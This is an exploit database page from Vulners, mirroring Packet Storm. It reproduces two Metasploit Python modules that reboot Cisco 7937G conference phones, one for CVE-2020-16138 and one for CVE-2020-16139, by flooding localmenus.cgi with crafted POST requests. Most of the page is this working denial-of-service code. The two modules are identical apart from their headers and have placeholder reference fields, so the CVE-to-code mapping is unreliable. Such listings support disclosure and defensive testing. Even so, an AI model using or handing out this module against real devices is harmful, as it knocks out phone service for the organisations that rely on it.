Lucene search
K

Cisco 7937G Denial Of Service

🗓️ 10 Aug 2020 00:00:00Reported by Cody MartinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 171 Views

Cisco 7937G DoS reset attack. Exploits CVE-2020-16138 and CVE-2020-16139

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cisco 7937G All-In-One Exploiter Exploit
11 Aug 202000:00
zdt
0day.today
Cisco 7937G Denial Of Service Exploit
11 Aug 202000:00
zdt
Circl
CVE-2020-16138
11 Aug 202011:07
circl
Circl
CVE-2020-16139
21 Aug 202014:32
circl
CNVD
Cisco 7937G Denial of Service Vulnerability
13 Aug 202000:00
cnvd
CNVD
Cisco 7937G Input Validation Error Vulnerability
12 Aug 202000:00
cnvd
Check Point Advisories
Cisco Unified IP Conference Station 7937G Denial of Service (CVE-2020-16139)
5 Nov 202000:00
checkpoint_advisories
CVE
CVE-2020-16138
12 Aug 202020:09
cve
CVE
CVE-2020-16139
12 Aug 202020:10
cve
Cvelist
CVE-2020-16138
12 Aug 202020:09
cvelist
Rows per page
`CVE-2020-16138.py:  
  
# Exploit Title: Cisco 7937G DoS 2 MSF Module  
# Date: 2020-08-10  
# Exploit Author: Cody Martin  
# Vendor Homepage: https://cisco.com  
# Version: <=SIP-1-4-5-7  
# Tested On: SIP-1-4-5-5, SIP-1-4-5-7  
# CVE: CVE-2020-16138  
  
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
# standard modules  
import logging  
  
# extra modules  
dependencies_missing = False  
try:  
import requests  
except ImportError:  
dependencies_missing = True  
  
from metasploit import module  
  
  
metadata = {  
'name': 'Cisco 7937G Denial-of-Service Reboot Attack',  
'description': '''  
DoS reset attack  
''',  
'authors': [  
'Cody Martin'  
],  
'date': '2020-06-02',  
'license': 'GPL_LICENSE',  
'references': [  
{'type': 'url', 'ref': '<url>'},  
{'type': 'cve', 'ref': '2020-#'},  
{'type': 'edb', 'ref': '#'}  
],  
'type': 'dos',  
'options': {  
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': 'None'}  
}  
}  
  
  
def run(args):  
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))  
if dependencies_missing:  
logging.error('Module dependency (requests) is missing, cannot continue')  
return  
  
# Exploit  
url = "http://{}/localmenus.cgi".format(args['rhost'])  
data = "A"*46  
payload = {"func": "609", "data": data, "rphl": "1"}  
logging.info("FIRING ZE MIZZLES!")  
for i in range(1000):  
try:  
r = requests.post(url=url, params=payload, timeout=5)  
if r.status_code != 200:  
logging.error("Device doesn't appear to be functioning or web access is not enabled.")  
return  
except requests.exceptions.RequestException:  
logging.info('DoS reset attack completed!')  
return  
  
  
if __name__ == '__main__':  
module.run(metadata, run)  
  
--------------------  
CVE-2020-16139.py:  
  
# Exploit Title: Cisco 7937G DoS 1 MSF Module  
# Date: 2020-08-10  
# Exploit Author: Cody Martin  
# Vendor Homepage: https://cisco.com  
# Version: <=SIP-1-4-5-7  
# Tested On: SIP-1-4-5-5, SIP-1-4-5-7  
# CVE: CVE-2020-16139  
  
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
# standard modules  
import logging  
  
# extra modules  
dependencies_missing = False  
try:  
import requests  
except ImportError:  
dependencies_missing = True  
  
from metasploit import module  
  
  
metadata = {  
'name': 'Cisco 7937G Denial-of-Service Reboot Attack',  
'description': '''  
DoS reset attack  
''',  
'authors': [  
'Cody Martin'  
],  
'date': '2020-06-02',  
'license': 'GPL_LICENSE',  
'references': [  
{'type': 'url', 'ref': '<url>'},  
{'type': 'cve', 'ref': '2020-#'},  
{'type': 'edb', 'ref': '#'}  
],  
'type': 'dos',  
'options': {  
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': 'None'}  
}  
}  
  
  
def run(args):  
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))  
if dependencies_missing:  
logging.error('Module dependency (requests) is missing, cannot continue')  
return  
  
# Exploit  
url = "http://{}/localmenus.cgi".format(args['rhost'])  
data = "A"*46  
payload = {"func": "609", "data": data, "rphl": "1"}  
logging.info("FIRING ZE MIZZLES!")  
for i in range(1000):  
try:  
r = requests.post(url=url, params=payload, timeout=5)  
if r.status_code != 200:  
logging.error("Device doesn't appear to be functioning or web access is not enabled.")  
return  
except requests.exceptions.RequestException:  
logging.info('DoS reset attack completed!')  
return  
  
  
if __name__ == '__main__':  
module.run(metadata, run)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2020 00:00Current
7.7High risk
Vulners AI Score7.7
EPSS0.87566
171